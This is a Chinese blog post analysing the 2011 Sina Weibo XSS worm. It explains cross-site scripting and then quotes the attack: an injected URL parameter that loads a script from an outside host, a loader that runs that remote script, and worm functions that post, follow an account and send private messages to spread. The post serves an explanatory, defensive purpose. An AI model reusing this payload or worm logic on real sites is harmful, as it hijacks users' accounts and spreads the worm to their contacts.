Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1077967
  • 博文数量: 403
  • 博客积分: 10272
  • 博客等级: 上将
  • 技术积分: 4407
  • 用 户 组: 普通用户
  • 注册时间: 2012-02-24 14:22
文章分类

全部博文(403)

文章存档

2012年(403)

分类: 系统运维

2012-03-08 16:02:59

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

Xss的例子(以新浪微博的6.9的hellosamy蠕虫事件为例):

sina的名人堂页面页面上存在这么个链接

其中uname并没有做htmlspecialchars。相当于是直接由用户输入,然后输出在页面上了。

这样的html就是存在xss漏洞

好了,这个漏洞被发现了,下面要利用它做什么呢?

1 将uname设置成xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这样这个url就变成了

clip_image001

其中的引号被封闭了,然后这个页面自动运行了一段js脚本

这个js脚本做了这样的事情:

1 发送一个微博(这个是之所以成为蠕虫的原因,这个微博中附带着同样的一个连接)

2 加关注uid为2201270010

3 发私信,向好友传播链接

js的下载代码在

1
2
3
4
5
6
7
8
9
10
11
try{
x="g=document.createElement('script');g.src='http://www.2kt.cn/images/t.js';document.body.appendChild(g)";window.opener.eval(x);
}
catch(e){}
main();
var t=setTimeout('location="";',5000);

其中就是在打开的页面加入了,并执行

main中是发送微博,加关注,发私信三个动作

当5000秒后,当前页重新定位到public/topic上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function main(){
try{
publish();
}
catch(e){}
try{
follow();
}
catch(e){}
try{
message();
}
catch(e){}
}
比如

1
2
3
4
5
6
7
8
9
function publish(){
url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime();
data = 'content=' + random_msg() + '&pic=&styleid=2&retcode=';
post(url,data,true);
}

模拟post请求,由于这个js是在weibo网页上调用的,所以就没有跨域问题

直接post就可以产生这个效果

注:这次事件中还用到了短链接服务

短链接服务能自定义用户链接,比如%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

这么长一个链接能变为

这样能增加用户的点击成功率

事实证明,建站是需要非常小心的,每个页面,每个输出,如果有一两个漏洞,都可能造成全站的大灾难!!引以为戒!

相关有用的链接地址:

http://soft.yesky.com/security/156/30179156.shtml

http://blog.sina.com.tw/gn00502101/article.php?pbgid=103224&entryid=604456

----------------------

作者:yjf512(轩脉刃)

出处:http://www.cnblogs.com/yjf512/

阅读(442) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~